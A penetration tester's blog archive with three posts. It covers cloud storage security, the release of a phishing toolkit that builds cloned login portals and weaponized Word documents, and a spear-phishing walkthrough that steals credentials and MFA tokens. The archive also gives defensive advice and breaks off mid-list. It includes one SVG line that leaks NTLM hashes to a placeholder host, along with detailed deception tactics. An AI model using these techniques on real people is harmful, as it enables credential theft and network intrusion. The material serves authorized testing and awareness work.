December 13, 2018

My Bucket's Got a Hole in it - Cloud Storage vs Security


I think we all know of Hank Williams Sr from when he famously made popular the hit song, "My S3 Bucket's Got a Hole in it".  No?  I've gotta get a handle on things.. (harder to think of puns about buckets and clouds, but I'll do what I can)  Even though it may not have been mentioned explicitly, I think it's safe to assume he was referring to remote data storage as it relates to information security.  In this article I'd like to explore the traditional storage of data on web servers as well as cloud storage, such as Amazon's S3 buckets, and weigh the pros and cons of both.  Specifically, I'd like to focus on storage for content a customer may upload, say through a web portal.  No country music artists were harmed in the making of this blog.

Recent Events with Cloud Storage

Leaky buckets have been all over the news lately.  Big blunders came from the US Government (NSA, Pentagon, & US Voter Records), GoDaddy, Booz Allen Hamilton, Dow Jones, Verizon, Time Warner.. the list goes on and on.  There are smaller ones all the time, but they pale (🙈) in comparison.  Millions upon millions of sensitive customer and corporate records were dumped out on the public Internet, allowing anyone to read the content.  Their buckets have major holes in them, and I'm talking the big 5 gallon Home Depot ones!  It used to be that large data exposures were the result of a vulnerability that was exploited, such as SQL Injection or internal malware that allowed attackers to have access to sensitive internal data stores.

So why today, when we're seeing a decrease in things like SQL Injection, are we continuing to see these large-scale data exposures?  You guessed it, leaky buckets!  When an organization plans to put sensitive data in the cloud, they expect it to be internally visible and not publicly open, so why do these things happen?  Like with many security issues, a lack of secure configuration hardening standards and change control mishaps may be to blame here.  According to some reports, as much as 7% of S3 instances are publicly accessible without requiring authentication and with many being unencrypted.  That's scary stuff!  Is it worth the risk at all?  Should we be using buckets?  Is Hank Williams Sr responsible?  Is anyone still reading this?

Traditional Internal Storage

This is how things were always done, before "the cloud".  For our younger readers, think 2001 Space Odyssey's Monolith.

Mankind Before the Cloud

Before "the cloud" (ooh.. ahhh..) and still today, user uploads and other data specific to the web service were primarily hosted on the same physical instance on a web server.  (Crazy! No way)  Sometimes, even within the same web service path.  If not handled properly, this can lead to an entire slew of vulnerabilities.  As a web application penetration tester at Pondurance, I'm always looking for the following issues as they relate to file upload functionality as a way to compromise the host or to gain access to sensitive data.

Web Shells

Think Spiderman at the beach.  Hackers love shells.  In their simplest form, they allow an attacker to remotely control a compromised host through a list of commands, typically via a terminal.  A common example is a reverse bind shell, of say the Windows command prompt or bash in Linux.  The attacker can issue OS commands just as the victim would be able to with that user's context.

Issuing OS Commands (df -h)

Now, think about that upload functionality you've seen on websites before.  If there's an unrestricted file upload vulnerability, meaning the server doesn't limit what content you can upload (or you can bypass those controls), then in theory you can upload your own content for the web server to execute.  If the content you upload is in a web directory and it's filename is known, you can view the files you upload in the browser on that site.  

What happens if you upload your own web page with the same server-side scripting language the service is using?  It'll be processed as if it's part of the site!  Now you can add in some OS command execution scripts and essentially run commands on the OS from the web browser, AKA a web shell.

Simple PHP Web Shell ("df -h" via Browser)

If you're using a path external to the web service or cloud storage, this won't result in a web shell.  

Directory Indexing

I see examples of this most often in WordPress instances, but it's also a common configuration default in Apache.  It's possible with any web service, really.  This is potentially dangerous because it allows the user to browse the web directory structure and see file contents they may otherwise not be privy to.  I've done penetration tests in the past where directory listing allowed me to access sensitive unique identifiers for filenames where content discovery techniques would otherwise fail to disclose, such as SQL database dumps, configuration files, etc.

Another issue is in the form of information disclosure.  It's generally a bad idea to allow attackers to know more about the layout of your site than necessary.  Even if there's nothing sensitive sitting in a directory now, it's possible something could get saved out there and grabbed at a later time.

Wordpress Directory Listing Example

As with web shells, if your data is stored elsewhere, such as the cloud, this isn't likely to be a vulnerability you'll see.

Directory Traversal

Depending on permissions of the account associated with the running web service, it may be possible to inject characters to traverse backwards for the relative path of a resource.  For example, if the web service is calling a file you just uploaded, say "ThisIsAllYourFaultHank.pdf", and you're able to reach it by going to "", you might be able to inject "../" before the filename to go up a directory.  Your new command would be "".  That file won't exist, but if you go up enough, you might be able to call a file you have access to read, such as "/etc/passwd".  

Directory Traversal Example

If your content is hosted anywhere on this server, even potentially outside of the web directory structure, it may be accessible depending on permissions.

Direct Object Reference

With the exception of Directory Traversal (and leaking IDORs through other means), Direct Object References are needed in order for most of these attacks to work.  Even if you successfully upload a web shell or malware, if you don't know how to reach that file to call it back, your attack is going to be limited.  Indirect Object References (IDORs) are a way of calling a unique identifier, such as a hash or GUID, instead of the filename and path itself.  This is just another preventative layer to help protect against issues related to executing malware, web shell execution, information disclosure, and directory traversal to get to data.

Malware Execution

If upload functionality within a web site is unrestricted, meaning it doesn't properly filter the uploaded content, (via content type, file extension, etc) it may allow uploading of malicious files.  Depending on the circumstances, the malware may be executed by the bad actor or discovered and executed by a curious system administrator at a later time.  Since the web service is storing uploaded content on the same OS, the OS can become infected and lead to a compromise of all other user data or anything else on the host.  This isn't really possible within an S3 environment, unless the web server executes content locally after retrieving it from cloud storage.

Traditional Storage Takeaway

Okay, so these are bad.. but what about the benefits of self-hosted content?  Well, for one, you get to keep it close to you.  Give me a minute.. I'm working on finding another pro..  I can't say availability because AWS often has more redundancies in place.  I can't say load times since CDN's are made for this very reason.  I can't really say access control since buckets are pretty granular in regards to permissions.  Let's just go with, "keeping your data close".  That doesn't mean it's not reachable, any of the methods mentioned above could lead to a compromise of data no matter where it's hosted.  I'm also not saying that housing your own data means it's insecure, there are secure ways of doing this for sure.

So let's look at the positive and negative side of cloud storage and see how it stacks up!

Buckets and Containers

Amazon has it's Simple Storage Service (S3) and Microsoft Azure has it's Blob Storage containers.  There's a laundry list of other cloud data storage solutions out there as well.  For the most part, they all pretty much operate the same way.  They both allow for the storage of any data type, are scalable, and reliable.

Both S3 buckets and Blob Containers are inherently secure.  This is probably the opposite of what most people think when they see these stories about public leaks of data.  In fact, most issues are introduced by administrators accidentally exposing these buckets to the public Internet or by making permissions too loose.  Human error whaaat?

As a penetration tester, there are a number of tools out there that assist in identifying cloud storage buckets and containers that are not properly configured.  One such tool is Bucket Stream which cleverly watches certificate transparency logs to match up domains with potential S3 buckets.

Open source tools such as prowler can be leveraged to perform a security configuration hardening audit, based on the CIS Amazon Web Services Foundations Benchmark.  This is useful not just for S3 buckets, but many of the AWS services.  There are a variety that can be used depending on what cloud infrastructure you have, to measure your security posture against best practices.


Securing data or information has been a challenge as long as the digital world has been around.  That's the whole premise behind information security, so this isn't exactly a new problem.  Whether you decide to go with cloud storage or traditional storage, I hope this blog helps to shine a light on the pros and cons of each.  Cloud storage has gotten a bit of a bad reputation lately, but security issues can be introduced as we've seen in either solution.  Also, it's entirely possible your organization intends to make some S3 data public.  After all, it doesn't have to be private.  Just make sure the data you classify as private is handled appropriately with ACLs or separate buckets.

Having a policy to enforce secure baseline configuration standards is a must, and should be checked from time to time to ensure no issues have been introduced.  Permissions should also be evaluated on a recurring basis to avoid accidental exposure to unauthorized users.  These are true whether you're talking about an S3 bucket, an Apache configuration file, or operation system policies.  

Amazon has a support link here to offer guidance on securing S3 buckets.  Some of the recommendations include encrypting data in case it falls into unexpected hands, logging, and restricted access control.  Similarly, Microsoft has a white paper on securing Azure Containers.

Following this advice will hopefully prevent you from having that awkward, "Uh hum.. you're.. data is showing" conversation from a stranger.  Thanks to Hank, the authors of the awesome tools I referenced, and my dad's guitar hobby for the inspiration for this blog!  Is anyone still here? 😜

- Curtis Brazzell

October 24, 2018

PhishAPI Tool - Rapid Deployment of Fake Sites and Maldocs with Notifications!

Intro / TL;DR

Hey InfoSec Community! As the penetration testing lead, I got tired of setting up and tearing down environments each time I or one of my team members wanted to start a new phishing campaign. This accounted for a good portion of the time allocated for our engagement.  Sure, we saved local templates and code, but it was still time consuming to modify the cloned HTML, host it in two places, and set up a back-end service to capture, store, and display the credentials. What started as a simple PHP API which accepted a username and password and posted directly to slack, evolved into a full web based Phishing service out of a desire to improve efficiency internally. 

I developed this on my own time and wanted to give back and share with the community so I decided to open-source it for everyone.  The idea is that other security teams can adopt this as a platform, companies can use this for internal security awareness training, self learning for those interested in InfoSec, or even as honeypot bait (think Canary).  Using this service ourselves, we've gained a ton of efficiency and can be using our time better to perform more recon or develop new campaigns instead of prepping.  You can literally be up and running with a cloned site or maldoc within minutes, ready to be notified of any "victims".  It can be quite comical to watch them start pouring in, so I added some flair for fun. 😄

Check out the free service (w/ Slack demo) at or clone it to host yourself at

Current Functionality

  • Fake Sites
    • Templates - Auto-Generated HTML Landing Pages
    • Support for Custom HTML
  • Malicious Documents
    • New Word Documents
    • Weaponizing Existing Word Documents
    • Payloads
    • Hosted vs Downloaded
  • Email Campaign Templates
  • Credential Capturing
  • Real-time Alerting
  • Database for Reporting
  • Hash Capturing
  • BeEF Hooking
  • Trophies

The API is written as a server-side script so that it performs as both a client and server for the user.  There's nothing to install locally, it's all accessible via a web browser.  The service should be publicly accessible so that "victims" can reach it and should be set up with an SSL certificate.  See LetsEncrypt for a free one.  Simply clone the GitHub repository to a web service, set the config.php variables, and start phishing!  

Note: The API rarely gets flagged as a blacklisted site by "victims" because it's usually not seen.  The API receives the HTTP POST request and redirects the user immediately to the supplied location. 

When ready, head to your new domain and you'll be presented with two options:

Main Page - Choose "Fake Portal", "Weaponized Documents", or "Email Campaigns"

Fake Sites

One of main features of the PhishAPI is credential, MFA token, and hash capturing via a cloned or fake login portal.  You can either create your own HTML page from scratch, use a cloning tool such as HTTrack, or select one of the pre-defined templates to have your HTML auto-generated for you directly from the API!

Creating HTML or Editing From Another Source

If you're creating your own landing page or cloning one manually, you can still leverage the benefits of the PhishAPI.  Simply make sure the "username", "password", and optionally, "token" fields are set.  For fun, Slack options can be included as hidden input fields.  See the screenshot below or the GitHub repository for more information.

Instructions for Manual HTML

Auto-Generated HTML Templates

PhishAPI supports generating templates for you that can be stored on an external server.  They automatically are configured with input you provide to dynamically support the API.  Options for MFA, the server address, custom logos, custom title tags, Slack bot names and emojis, and required fields are supported.  Simply select "Fake Sites" from the main page and choose one of the following templates:

Repository of Login Portals

After selecting a template, complete the following form to have the HTML generated automatically for you: 

HTML Generation Options

The "API URL" is simply the API Domain you want the HTML form POSTing to.  The value should already be set for you.

"Project Name" is the name of the engagement, if this is for a Phishing project.  An organization name or campaign title is typically what you'd set here.  If left blank, it will be logged as "Undefined Project".

"Redirect URL" is the path you want the "victim" taken to after they submit their credentials.  To avoid suspicion, set a location that wouldn't be as likely to tip them off.  I'm a fan of redirecting them to the real location they already have a session open with so they're simply logged in.  If you chose a location that supports iframes, persistence will be established for BeEF hooking by placing the redirect location in a full body iframe.  Otherwise, it's a simple 302 Redirect.

"Slack Bot Name" and "Slack Bot Logo" are pretty self-explanatory.  Set these if you don't want to use the default name and emoji for the Slack notifications.

"Website Logo URL" can be set as an image URL.  This field is optional and if set, will add or change the default template image with the one specified.  This can be useful to make a generic login page look like it's branded for the targeted individual or organization.  You should use HTTPS if your landing page is going to be hosted over HTTPS to avoid mixed content warnings.  This field doesn't always work for sites that are already branded, such as Facebook.

"Website Title" is similar to the URL above.  It sets the <TITLE> and main Header tag if supplied, or otherwise defaults to "Secure Login Portal".

"MFA Token" options dynamically allow for setting an additional third "Token" input field in case the organization you're targeting uses multi-factor tokens.  If the "Require" field is also checked, HTML5 enforces the field to be completed before the "victim" can submit the login form.

Submitting the API form here takes you to a download page, where you can now instantly retrieve your ready-to-use phishing source code as an archive.  Simply upload this to your web service and start having your "victims" go there!  Any of the HTML can be modified manually once downloaded to suit your needs.

Auto-Generated HTML Landing Page Based on Options Set

Spoofed Google Login Site with Required MFA Field

Malicious Documents

In addition to fake login portals, PhishAPI also supports the auto-generation of malicious documents (maldocs).  Currently, only Microsoft Word documents are supported, but plans to support other formats will be coming soon.  Simply head over to "Weaponized Documents" from the main page to begin!

Options for Creating a Weaponized Document

"API URL" fields should be set for the Word document to call back to.  This should be the domain of your API, which should already be set for you.  Select HTTP or HTTPS.

"Target" should be the name of the individual who will be the recipient of the email.  You can leave this blank if you provide an Organization.

"Organization" is simply the name of the company or organization you're targeting.  This helps keep track of multiple projects in case campaigns are happening in parallel.  You can leave this blank if you provide a Target.

"Payloads" are options to determine what it is you want the Word document to do once opened.  More detail on this below.  "HTTP Call" and "SMB Hash" are defaults and cannot be unchecked.

"Slack Settings" are not required if set in your config.php file.  They tell the API what Slack channel the specific document should call back to and which Slack Incoming Webhook token to use in order to leverage the Slack API.

New Word Documents

To quickly generate a Word Document from scratch to start sending to Phishing victims, click "Generate Payload" without uploading an existing document.  A default template is created for you, which is designed to attempt to fool the "victim" into enabling editing to trigger the payload(s) selected.

Weaponizing Existing Word Documents

To embed an existing Word document with the selected payloads, simply upload an existing docx file before clicking "Generate Payload".  The API will receive the doc, inject the payloads into it, and allow you to re-download it for use in your phishing campaign.


The fun part!  Select between the following:

  • HTTP Call
This option (included by default) will embed the document with a 0 x 0 pixel which calls back to the API with a unique identifier which was created when you first generated your document.  This "UUID" is used to look up your Slack settings from the database and notify you that the document was opened by the target.  The UUID is used so that personal Slack settings aren't available to the recipient of the document.  The "victim" does not notice anything upon opening the document.  "Protected View" must be enabled in legacy versions of Word for this to work, but is often enabled by default.  The auto-generated version is created to trick the user into enabling this to view the rest of the content in the document.  Office 365 web view does NOT require clicking anything, as it just works when opened!
  • SMB Hash
This option (included by default) will also embed a UNC path in addition to the HTTP call in another 0 x 0 pixel.  The document will attempt to connect over SMB to the API server.  If Responder is configured in a Screen session on API server and "" is scheduled in a Cron job, hashes may be captured and sent to the Slack channel.  Note: For this to work, the victim's ISP and outbound egress ACL's must allow TCP 445.  Your API server must also allow incoming TCP 445.  The "victim" does not notice anything upon opening the document.
  • Auth Prompt
This optional field, if checked, will perform the same service Phishery does.  (Thanks for the idea, Ryan Hanson!)  For those of you unfamiliar, a basic authentication request will be made from the "victim", prompting for credentials.  If typed in, the API captures the input, updates the database tables, and alerts via Slack.

If "Auth Prompt" is Checked, the "Victim" Sees This Upon Opening the Document

Hosted vs Downloaded

Once generated, the Word document can either be downloaded to be sent as an attachment in an email, uploaded to a NAS, or whatever else you'd like to do with the actual file.  However, sometimes sending weaponized documents as attachments can be flagged by spam filters and antivirus.  To avoid this, the PhishAPI also allows hosting your document so it can be called from a hyperlink.  Using a new technique I discovered while playing with URI Schemes (another blog maybe?), a MS Word hyperlink is created with HTML markup to be used in the body of an email.  Once clicked in Windows, the default browser will prompt to open the remote file without the need to download and open manually.  This is useful in campaigns where you're "sharing a file" with someone, such as a spoofed Office 365 or DocuSign email.  The URL itself can be hyperlinked, however, if you'd still like that option.

Docx or Hyperlink

Prompt When Hyperlink is Clicked

Email Campaign Templates

The third feature of PhishAPI allows you to select from an archive of email templates you can use to draft your email campaign.  You can add your own using a simple WYSIWYG editor via the web interface, or edit an existing one.  Variables allow you to add field variables (think MS Word templates) so you can be up in running with a campaign in minutes!

Choose Email Campaign from List

Email Template w/ Variables

Predefined Variables and Embed Notification Tag for Alerting When Email is Opened

Optionally Include Just the Notification Code in the Body of Your Own Email

Credential Capturing

Both the "Fake Site" and "Weaponzied Documents" options allow for credential capturing, as described above in their respective categories.  When the PhishAPI receives the captured data, real-time Slack alerts are sent to notify the pentester and the credentials are stored in a MySQL database for retrieval.

Real-time Alerting

This is where Slack comes in!  In the future, I plan to support Zapier Templates so that users of the API can choose how they want to be notified.  Heck, you can dim your IFTTT lights or blink them red when you catch a phish if you really want!  Maybe an SMS would be sufficient..

When a user is hooked via BeEF, a hash is captured, a document is opened, or credentials are captured via either method, Slack bots will notify the specified channel(s).  See the screenshots below:

"HTTP Call" Weaponized Doc Payload

"Auth Prompt" Weaponized Doc Payload

"SMB Hash" Weaponized Doc Payload OR Submitted Credentials from Fake Site

1x1 Pixel Image for Email Body for Notification Upon Opening

Captured Credentials from "Fake Site"

BeEF Hook from "Fake Site"


All captured information is stored in a MySQL database instance on the API server and is easily retrieved via the API in a web HTML table.  Clicking the link on a Slack notification will take you to the specific project, or simply browsing "/reporting" for "Fake Sites" or "/phishingdocs/reporting" for "Weaponized Documents" will allow you to browse all projects.

Captured IP, Hash, Username, Password, and User Agent

Hash Capturing

Both the "Weaponized Documents" and "Fake Site" options allow for capturing NTLMv2 hashes by default, if SMB traffic is allowed from the "victim's" client to the server.  The documents embed a UNC path as an invisible image which triggers upon opening and the Fake Site portal API embeds a UNC path via an SVG image tag which works on most browsers.

(<image height="1" width="1" xlink:href="\\YOUR_PHISH_API_DOMAIN/resource.jpg" />)

Captured Hash

BeEF Hooking

BeEF hooking is supported for those that want to use advanced browser techniques.  Real-time Slack notifications and persistent iframe techniques allow you to respond immediately to your phishing victims and interact with their browser.  Simply run BeEF in a background service on your API server and run "beefhook.php" in a Cron job every minute.


Trophies are my sick sense of humor.  For me, they've added a great deal of entertainment to my #Phishing channel.  Think of these as "Achievements" or "Gold Star" awards for doing things such as having a terrible password, entering the same credentials three times, having an insane amount of successfully phished creds for a single campaign, disclosing more than one password for a single user, and submitting credentials at least 3 days after everyone else has stopped.

Animated Gifs When Conditions are Met

Thanks to Troy Hunt's HaveIBeenPwned Password API, I was able to score captured passwords to determine how many times it showed up in a breach list or paste site.  This information is reflected in the Slack alerts via Trophies and "Fake Site" notifications.  A :thumbs_up: or :poop: emoji will be reflected in Slack to score password complexity, even if there's not a HaveIBeenPwned hit.


I hope you find this API as useful as we have on our team at Pondurance!  You're welcome to fork the GitHub repository and edit to your heart's content!  The "Fake Sites" login portal repository does not contain our own templates we use, but feel free to add your own as you go.  The demo at is available for all to use, I just ask that you please not abuse the service so everyone can enjoy it!  Please also do not use this service or my code for illegal purposes.  

Happy Cyber Security Awareness Month!

August 24, 2018

Gone Phishin' - An Attacker's Perspective & Solutions


You can teach a man how to phish, but.. you can't make him phish-proof?  Aside from the headings in this blog I'll try to avoid the fish puns to save your forehead from all of the potential for face palms.  Why am I creating this blog?  I'm hoping to shed some light on some Security 101 Best Practices for techies and non-techies alike from the viewpoint of an attacker.  It's not quite Security Awareness Month (October), so consider this an appetizer.

Spear-phishing is something we have great success with during our Social Engineering engagements at Pondurance.  Sure, there are a lot of tools out there which regularly tests employees to see who's had enough coffee in the morning, but manual, targeted attacks can take things to the next level.  I've seen IT administrators who are proponents of phishing training, CEO's, and just about anyone else you can imagine in various positions throughout organizations fall victim to our shenanigans.

In fact, phishing is so successful in the wild that according to a recent report from Cofense, 91% of all cyber attacks today originate from a phishing campaign.  This checks out in my mind as a quick sanity check, because if I know I'm on an engagement as a red teamer and phishing is in scope, I'm confident we're going to find a way into the organization.  Alternatively, we have to hope there's an external misconfiguration of a device, bad code in an application, or a vulnerability in the form of a patching deficiency somewhere on the perimeter of the environment to which the chances of success aren't nearly as high today.

It should be no surprise then that since most incidents start as phishing, the human factor or human error is the weakest link and often targeted first.  It's easier to exploit a person than it is a device nowadays, and security awareness training isn't as effective as it should be.  So, that being said, let's take a look at what a targeted spear-phishing campaign looks like through the eyes of the attacker and the solutions in place to help prevent you from getting hooked!  Ugh, I did it again.. sorry!

Scoping Out a Watering Hole (I mentioned these previously!)

Well, I mentioned this is a spear-phishing exercise and not your uncle's "Nigerian Prince" scheme, so we're going to have to do our research if we want people to actually open the email.  Time to put your black hat on.  If you don't already know the person you're targeting but your client wants you to go after an organization, you'll have to find some email addresses.  Some clients will provide a list of personnel with their email addresses, roles, and other relevant information.. which is great!  But we don't have that luxury in this scenario.  What can we do?  OSINT.. it?

1) Company's Profile Page

Who's this goob!?
Well gosh, thanks company website, for providing me with information that Curtis Brazzell is a Managing Security Consultant at Pondurance and his email is!  That's a start!  (By the way, if I haven't said it yet, now's a good time to mention you shouldn't try any of this at home..)

2) Social Media

Realizing at this point in the blog I should have used a different target..
Great!  This time I not only have his work email, but I have his personal email as well!  You get the idea at this point as this could continue with Googling the victim's name and finding other resources manually.  OR, you could use some tools to automate a lot of this for you.

3) Recon Tools

the Harvester

Social Engineering Toolkit (SET), LinkedInt, Discover, Maltego, theHarvester, Recon-ng, and MailSniper are just a few of my team's preferred tools available during this phase of intelligence gathering, often referred to as the Reconnaissance phase.  In fact, using a tool like MailSniper against a large organization can be easier than phishing, since you're bound to get at least some valid accounts just by password spraying the employees with bad passwords like "Winter2018".  If you're reading this saying, "HEY!  That's my password!".. you might want to change it.  

In my experience, the last thing you want to do is cast a wide net (not even trying, sorry!) when going after the organization when you have time on your side and the goal is to stay undetected for some time.  There are circumstances when an attacker may want to blast out the same generic email to everyone in the company, but that's likely going to tip at least one person off and everyone will be on high alert.  Also, your domains could be blacklisted internally or externally, etc.  A less tailored email is going to have less of a chance of successfully luring 😔 the recipient into opening the message.  Furthermore, all it takes is one person to give up mailbox credentials if you have access to Office 365, OWA, or another externally accessible email service, and you can log in as that person to start internally phishing other targets from the legitimate domain!  We'll do that in this scenario later.

One thing I've realized is that context is everything when phishing.  Say I successfully phish my target, then what's going to be my next step?  Is my goal to deliver a RAT, steal credentials, or record analytics for security awareness training?  If it's to deliver malware, consider what your payload is going to look like.  Are you planning to deliver a document with an embedded payload?  Are you attempting to send a link to an executable?  What role does the "Recipient" you're targeting have in the organization?  Now consider who your "Sender" is going to be mimicking, or sending on behalf of.  Would a non-IT person be asking someone to install an executable if that isn't normal behavior?  We want this to look believable!

For this scenario, assuming we did some recon and we discovered the IT Department's email distribution is "", let's craft a campaign that's believable and target a single individual.

Baiting the Hook 

Right on, we decided on a campaign!  Let's pretend we're the Help Desk and we're emailing a manager who might have VPN access to the organization.  After all, we did our recon and determined there's a Cisco VPN available on an IP address within the External IP range of the organization.  If we get credentials via phishing, we might be able to get onto the internal network!  We also have learned that the Cisco AnyConnect client has a field for a "Second Password", which we know is some sort of 2FA token.  We'll have to build support into our portal to capture the token as well or we won't get very far, and it needs to be in near-real time since those typically expire within 30 seconds or so.  To complicate things further, most 2FA services expire the token after the next use.

Cisco AnyConnect VPN Client w/ 2FA

So since we've decided to steal credentials, we need to figure out how that's going to play out.  Let's clone a web service login portal on our own site and make it look like it's theirs!  We'll set it up to log any credentials and tokens entered and then send them on their way to the real site.  We'll also have to buy a domain that looks similar to the organization's we're targeting so the user isn't instantly suspicious, and we'll also want to get an email address created on that same domain.  Let's get started!

Organization's REEL (..😬) Employee Portal

Look closely, it's, not

There are also techniques known as bitswapping, homoglyph, punycode, etc, which can be leveraged based on your preference.  Tools also exist to help you come up with a similar domain if you're not feeling creative.  It's also important to note that techniques like punycode only work on browers like FireFox and Opera, so you need to know what client your target is using.  One of the more advanced tactics we try to leverage on my team at Pondurance during the information discovery phase, is to see if there are any application security vulnerabilities on the company's web servers that may allow us to use their domain for phishing.  These include Cross Site Scripting (XSS), Open Redirects, or Unrestricted File Uploads with Indirect Object References.  However, let's continue with the current scenario at hand.

Next, let's obtain a web server.  I like the AWS Micro Ubuntu instances because they're quick, inexpensive, and simple to spin up and terminate when you're not using them.  Also, if your domain or IP get blacklisted it's simple enough to obtain a new Elastic IP and be back in the game.

Now that we have a web server with a domain set up, let's get a free TLS certificate.  Most people have been trained in Security Awareness sessions to look for the green "Secure" lock in the browser.  This does not mean the site is safe, it simply means data is encrypted in transit from the client to the server and back again.  Leveraging a free service called LetsEncrypt, you can easily add that lovely "https" to the front of your domain.  Using encryption is almost a requirement nowadays if you're phishing, as Google Chrome and other popular browsers all warn the user when logging in to a form submitted to over plain text, which would tip them off in our case.

Google Chrome Not Secure warning

All that's left to do now is to prepare the fake web content so it looks like the real thing.  There are tools out there that will clone a static site easily (HTTrack, SET, etc), but often times there's dynamic content (CSS/JS) that just doesn't look quite right.  I always find it easier to just "File ➜ Save Page As ➜ Webpage, Complete" directly in my browser and manually edit the HTML locally until it looks right.  At this point a trick we like to do on our team is to add a BeEF hook into the landing page, possibly in an iframe for persistence.  This will allow us to hook our victim's browser and collect analytics for our deliverable.

Usually now you'd have to build another page to receive the request, build a back end database to store the credentials, integrate some alerting mechanism, and add some logic to redirect the victim to another page.  Because this takes time to do and everyone's skill set is different, I created an API for my team to handle all of this.  I came up with a really unique name for it too.  I call it.. wait for it, Phishing-API!

Phishing API Instructions on my Github Page
Basically, edit the HTML of your fake page to include the parameters required for the API and you're all set to start phishing!  You can also set up Slack notifications (or modify for IFTTT) and a Redirect link to send the user to once you've captured the credentials.  I like to send the user back to the legitimate site again so they think the first round "just didn't take".  Since we're capturing a 2FA token and we need time to use it before the customer, let's redirect them somewhere where they don't need to use it.  It needs to be somewhere that won't raise too many alarms, like the homepage so they think it's a glitch.  I like to set up my Slack channel to notify my mobile device anytime there's a post to that channel, so I can act quickly if I did capture someone.

Lastly, if you're looking for something better than my API, check out Evilginx or CredSniper.  These are wonderful tools and are much more feature rich than my simple program.  I like Evilginx because it sets up a transparent proxy between the client and the server, making the request go through the proxy so you capture the session token.  This means you don't have to redirect the customer like you do with my API.  It takes a little more to set up, but can be worth it if you're looking to really fly under the radar.  Let's see our fake portal!

Our Fake Portal w/ 2FA Support & Secure "https" Designation

Casting the Line

It's finally time for us to compose an email to our first victim!  Let's go after that goofy Curtis Brazzell guy.. the manager with the VPN access.  Once we have our "" email account set up we're ready to start drafting up a believable request.  Remember, we're betting on the fact that Curtis won't notice the similar domain and won't question the request from the Help Desk.  Some email clients (like Outlook in Office 365) will let you know if your recipient is Out of Office.  Microsoft is being kind to the attackers so we don't have to wonder if they fell for it or if they're simply out on a two week vacation.

In order to help get a more timely response, I find it's helpful to put some kind of urgency in the request.  Also, to make it a tad more believable, you'll probably want to consider adding a valid looking email signature to the outgoing emails, especially if they're used to seeing one.  It's that extra mile that makes the difference between a phishing scam and spear-phishing.  Since these aren't always publicly available, I love emailing the "Contact Us" or "Apply Here" sections of the targeted site to see if I can get a response with a signature in it.  Lastly, if targeting more than one person, send separate emails and address the person by name so they're not all just CC'd or BCC'd on the same line. 

Since we're phishing for credentials by sending victims to our fake landing page, we'll want to use a hyperlink and mask it in a way so it's not obvious to the recipient.  I've noticed that email spam filters do a good job nowadays with catching a hyperlink where the text of the hyperlink looks a link but doesn't match.  For example, it's better to use a hyperlink to the fake landing page that has the hyperlink text "Secure Login Portal" or something instead of "http://...notfake".  See below:

C'mon, sucker!

Reeling 'er In

This is the fun part!  It's where you sit back in the boat and wait for the catch.  In my case, make a PB&J while I wait for my Android device to go off.

Wow, Curtis really didn't hesitate at all...
Once a phish is caught, it's time to click the link in that slack message and re-use those credentials!

Really?  That's his password?!
We have a username, password, and a token!  Meanwhile, Curtis is staring at the homepage assuming his credentials worked since he doesn't see a reason to believe they weren't valid.  Meanwhile, I'm cleaning the peanut butter off of my shirt while I frantically enter our new credentials into Pondurance's VPN portal.

Success!  We're now on Pondurance's Internal network as Curtis Brazzell!
At this point it's safe to say the domain is compromised and Curtis likely has no idea what happened.  As a penetration tester, you can take it from here by exploiting internal assets, moving laterally, and scooping up additional credentials along the way.  Another option may be to use Curtis' credentials to log into his inbox and get someone else in the organization to open a RAT that gives us access to a workstation.  Also, if you have someone's account already a lot of times you can use a tool like MailSniper to easily enumerate all email addresses in the Global Address List.  I like to leverage the search functionality MailSniper offers in order to find sensitive words like "password" in the inbox, so you don't have to snoop through people's messages.  This is another reason why it's never a good idea to email sensitive information, like passwords, credit cards, or PII.

That's my GAL!

Using Curtis' OneDrive O365 Account to Internally Share a "Perfectly Normal" PDF

Because users can be suspicious of phishing campaigns, we've found it best to log into the user's inbox as soon as possible and keep the session open as long as we can.  Office 365 apparently doesn't invalidate the session even if the user gets suspicious and changes their AD passwords, so this can be a good way to keep persistence throughout the engagement.

Don't Be a Phish

Okay, so reading this you probably have a few good ideas on how you can avoid being duped like our boy Curtis.  We can't rely on products out there to stop all of the spam that comes in, especially when it's targeted, so we have to do our due diligence ourselves.  Tools help, but they really should be considered the last line of defense against Social Engineering.

I couldn't possibly cover everything to look out for when spotting a phishing email and besides, this blog isn't meant to be a comprehensive security awareness guide.  Wired did a story recently on Resisting Phishing Attacks With Three Golden Rules, which is worth a read.  

When I have doubts about an email because it's outside of the norm, I'll sometimes call/text/slack the sender and ask if they really sent it.  Try to always verify the sender of an email and hover over hyperlinks to make sure they are from the correct domain.  When in doubt of a link, run it through an online analyzer like  Lastly, be suspicious of any attachments, especially those that are executables or contain executable content (like PDFs or Office docs with macros, OLEs, etc).  Now that you know some basic things to look out for, what can be done to protect your accounts if your passwords are stolen?

Enable Multi-factor Authentication

It's generally a good idea to enable Multi-factor Authentication (MFA) whenever it's available to you, both as an individual and as an organization.  A password is something you know, but a second form of authentication can be something you have which helps to validate you are who you say you are.  A lot can be said on this topic and I won't plan to cover everything, but I'll go through the basics at a high level so you can be aware of the pitfalls of some 2FA implementations.

Two Factor Authentication (2FA) Tokens

You've probably all seen some form of these at some point, probably when your bank texts you a pin code and asks you supply that along with your password.  There are several different kinds of 2FA, including biometrics, badge readers, etc.  Here are a few common ones:
  • RSA Keys
These are hardware devices, typically with an LCD screen, that provide a numeric pin that rotates every 30 seconds or so.  These, like any 2FA, are better than a password alone but it wouldn't be too difficult to capture this in a phishing exercise, as we did in our scenario above.  All we have to do is trick the user into entering this for us and acting on it before the time expires.  Push notifications through our API allow us to respond quickly enough for this attack to work.
  • SMS Messages
This is no longer considered good practice, and I see this going away soon.  SMS messages can and have been intercepted in the wild using SIM card swapping, spoofed cellular networks, and social engineering attacks against victim's wireless carriers.  Also, SMS isn't tied to a specific device necessarily.
  • Software / Application Tokens
Popular application based 2FA solutions include Google Authenticator and DUO, to name a couple.  While these are better than SMS, they can still be intercepted by an attacker and used before it can be leveraged by the victim.  In our example, DUO was used and was not set to expire over time, but instead invalidated upon use or when manually refreshed.  This just allowed the attacker even more time to respond.
  • Mobile Push Notification
In my opinion, this is the most secure of these 2FA options listed so far.  These are also super convenient for the user.  You may have noticed Google now prefers this over Google Authentication for G Suite, so now you simply get a push notification asking a "Yes" or "No" to confirm you're really trying to sign in to your account.  It's also worth mentioning that some software products like DUO optionally allow you to use "push" instead of a token, which makes it less-phishable.

No token for an attacker to steal!

Universal Two Factor Authentication (U2FA)
  • Security Devices
